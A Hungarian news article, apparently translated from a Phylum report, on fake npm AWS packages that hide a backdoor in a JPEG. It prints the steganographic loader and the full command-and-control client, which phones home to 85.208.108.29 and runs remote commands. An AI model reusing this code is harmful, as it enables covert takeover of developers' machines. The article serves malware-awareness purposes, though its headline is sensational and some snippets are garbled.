Így rejtették el az álcázott hátsó ajtót hamis AWS fájlokban, amit a mainstream média nem vett észre


Újabb Rosszindulatú JavaScript Könyvtárak Támadják a Fejlesztők Számítógépeit

Kutatók megállapították, hogy két hamis AWS csomagot, amelyeket több százszor letöltöttek az NPM nyílt forráskódú JavaScript könyvtárból, gondosan elrejtett kódot tartalmazott, amely hátsó ajtót nyitott a fejlesztők számítógépein, amikor végrehajtották őket.

A csomagok – img-aws-s3-object-multipart-copy és legacyaws-s3-object-multipart-copy – próbáltak úgy tűnni, mintha az aws-s3-object-multipart-copy nevű legitim JavaScript könyvtárak lennének, amely az Amazon S3 felhőszolgáltatását használó fájlok másolására szolgál. A hamis fájlok tartalmazták az összes kódot a legitim könyvtárból, de egy további JavaScript fájlt is hozzáadtak, amely a loadformat.js nevet viselte. Ez a fájl látszólag ártalmatlan kódot és három JPG képet biztosított, amelyeket a csomag telepítése során dolgoztak fel. Az egyik kép olyan kódtöredékeket tartalmazott, amelyek összerakva hátsó ajtót nyitottak a fejlesztő eszközén.

Növekvő Raffináltság

„Jelentettük ezeket a csomagokat az eltávolítás érdekében, azonban a rosszindulatú csomagok majdnem két napig elérhetőek voltak az NPM-en,” írta a Phylum biztonsági cég, amely észlelte ezeket a csomagokat. „Ez aggasztó, mivel azt jelenti, hogy a legtöbb rendszer nem képes időben észlelni és jelenteni ezeket a csomagokat, így a fejlesztők hosszabb ideig maradnak támadható állapotban.”

A Phylum kutatói részletes elemzést nyújtottak arról, hogyan működött az elrejtés:

A loadformat.js fájl elemzése során látszólag ártalmatlan képelemző kódot találunk. Azonban közelebbről megvizsgálva látjuk, hogy ez a kód néhány érdekes dolgot csinál, ami a célállomás gépén történő végrehajtáshoz vezet.

Miután elolvasta a képfájlt a lemezről, minden bájtot elemez. Bármely bájt, amelynek értéke 32 és 126 között van, Unicode értékekből karakterré alakul, és hozzáfűződik az analyzepixels változóhoz.

function processImage(filePath) {
console.log(„Processing image…”);
const data = fs.readFileSync(filePath);
let analyzepixels = „”;
let convertertree = false;
for (let i = 0; i < data.length; i++) {
const value = data[i];
if (value >= 32 && value <= 126) {
analyzepixels += String.fromCharCode(value);
} else {
if (analyzepixels.length > 2000) {
convertertree = true;
break;
}
analyzepixels = „”;
}
}
// …
}

A támadó ezután két különböző függvényt határoz meg, és mindegyiket saját változóikban tárolja, imagebyte és analyzePixels néven.

let analyzePixеls =
if (false) {
exec(„node -v”, (error, stdout, stderr) => {
console.log(stdout);
});
}
console.log(„check nodejs version…”);
;
let imagebyte =
const httpsOptions = {
hostname: ‘cloudconvert.com’,
path: ‘/image-converter’,
method: ‘POST’
};
const req = https.request(httpsOptions, res => {
console.log(‘Status Code:’, res.statusCode);
});
req.on(‘error’, error => {
console.error(error);
});
req.end();
console.log(„Executing operation…”);
;

Ha a convertertree igazra van állítva, az imagebyte elem analyzepixels-é lesz állítva. Egyszerűen fogalmazva, ha a convertertree be van állítva, végrehajtja a képfájlból kinyert kódot.

if (convertertree) {
console.log(„Optimization complete. Applying advanced features…”);
imagebyte = analyzepixels;
} else {
console.log(„Optimization complete. No advanced features applied.”);
}

Visszatekintve, észreveszük, hogy a convertertree igazra lesz állítva, ha a képen talált bájtok hossza nagyobb, mint 2000.

if (analyzepixels.length > 2000) {
convertertree = true;
break;
}

A szerző ezután létrehoz egy új függvényt, amely vagy egy üres POST kérést küld a cloudconvert.com címre, vagy végrehajtja a képfájlokból kinyert kódot.

const func = new Function(‘https’, ‘exec’, ‘os’, imagebyte);
func(https, exec, os);

Az érdekes kérdés az, hogy mi található a képekben, amit futtatni próbál?

Command-and-Control Egy JPEG-ben

A loadformat.js fájl alján a következőket látjuk:

processImage(‘logo1.jpg’);
processImage(‘logo2.jpg’);
processImage(‘logo3.jpg’);

Ezek a három fájl megtalálható a csomag gyökerében, amelyeket módosítás nélkül mellékelünk:

Ha mindegyiket átfuttatjuk a processImage(…) függvényen, azt találjuk, hogy az Intel kép (i.e., logo1.jpg) nem tartalmaz elegendő “érvényes” bájtot a convertertree változó igazra állításához. Ugyanez igaz az AMD logóra (logo3.jpg). Azonban a Microsoft logó (logo2.jpg) esetében a következőket találjuk, formázva az olvashatóság érdekében:

let fetchInterval = 0x1388;
let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
const clientInfo = {
‘name’: os.hostname(),
‘os’: os.type() + ” ” + os.release()
};
const agent = new https.Agent({
‘rejectUnauthorized’: false
});
function registerClient() {
const _0x47c6de = JSON.stringify(clientInfo);
const _0x5a10c1 = {
‘hostname’: „85.208.108.29”,
‘port’: 0x1bb,
‘path’: „/register”,
‘method’: „POST”,
‘headers’: {
‘Content-Type’: „application/json”,
‘Content-Length’: Buffer.byteLength(_0x47c6de)
},
‘agent’: agent
};
const _0x38f695 = https.request(_0x5a10c1, _0x454719 => {
console.log(„Registered with server as ” + clientInfo.name);
});
_0x38f695.on(„error”, _0x1159ec => {
console.error(„Problem with registration: ” + _0x1159ec.message);
});
_0x38f695.write(_0x47c6de);
_0x38f695.end();
}
function fetchAndExecuteCommand() {
const _0x2dae30 = {
‘hostname’: „85.208.108.29”,
‘port’: 0x1bb,
‘path’: „/get-command?clientId=” + encodeURIComponent(clientInfo.name),
‘method’: „GET”,
‘agent’: agent
};
https.get(_0x2dae30, _0x4a0c09 => {
let _0x41cd12 = ”;
_0x4a0c09.on(„data”, _0x5cbbc5 => {
_0x41cd12 += _0x5cbbc5.toString();
});
_0x4a0c09.on(„end”, () => {
console.log(„Received command:”, _0x41cd12);
if (_0x41cd12.startsWith(‘setInterval:’)) {
const _0x1e3896 = parseInt(_0x41cd12.split(‘:’)[0x1], 0xa);
if (!isNaN(_0x1e3896) && _0x1e3896 > 0x0) {
clearInterval(intervalId);
fetchInterval = _0x1e3896 * 0x3e8;
intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
console.log(„Interval has been updated to ” + _0x1e3896 + ” seconds.”);
} else {
console.log(„Invalid interval command received.”);
}
} else {
if (_0x41cd12.startsWith(„cd „)) {
const _0x58bd7d = _0x41cd12.substring(0x3).trim();
try {
process.chdir(_0x58bd7d);
console.log(„Changed directory to ” + process.cwd());
} catch (_0x2ee272) {
console.error(„Change directory failed: ” + _0x2ee272);
}
} else if (_0x41cd12 !== „No commands”) {
exec(_0x41cd12, {
‘cwd’: process.cwd()
}, (_0x5da676, _0x1ae10c, _0x46788b) => {
let _0x4a96cd = _0x1ae10c;
if (_0x5da676) {
console.error(„exec error: ” + _0x5da676);
_0x4a96cd += „nError: ” + _0x46788b;
}
postResult(_0x4a96cd);
});
} else {
console.log(„No commands to execute”);
}
}
});
}).on(„error”, _0x2e8190 => {
console.error(„Got error: ” + _0x2e8190.message);
});
}
function postResult(_0x1d73c1) {
const _0xc05626 = {
‘hostname’: „85.208.108.29”,
‘port’: 0x1bb,
‘path’: „/post-result?clientId=” + encodeURIComponent(clientInfo.name),
‘method’: „POST”,
‘headers’: {
‘Content-Type’: „text/plain”,
‘Content-Length’: Buffer.byteLength(_0x1d73c1)
},
‘agent’: agent
};
const _0x2fcb05 = https.request(_0xc05626, _0x448ba6 => {
console.log(„Result sent to the server”);
});
_0x2fcb05.on(‘error’, _0x1f60a7 => {
console.error(„Problem with request: ” + _0x1f60a7.message);
});
_0x2fcb05.write(_0x1d73c1);
_0x2fcb05.end();
}
registerClient();

Ez a kód először regisztrálja az új klienset a távoli C2-vel, az alábbi clientInfo elküldésével a 85.208.108.29 címre.

const clientInfo = {
‘name’: os.hostname(),
‘os’: os.type() + ” ” + os.release()
};

Ezután beállít egy intervallumot, amely periodikusan végigmegy, és parancsokat szerez a támadótól minden 5 másodpercben.

let fetchInterval = 0x1388;
let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);

A kapott parancsokat végrehajtják az eszközön, és az eredményt visszaküldik a támadónak az /post-results?clientId=<targetClientInfoName> végpontban.

Érdekesség: Az AI rendszerek folyamatosan fejlődnek, és képesek felismerni és semlegesíteni a hasonló fenyegetéseket, mielőtt jelentős kárt okoznának.

Forrás: Phylum kutatási jelentés, NPM hivatalos közlemény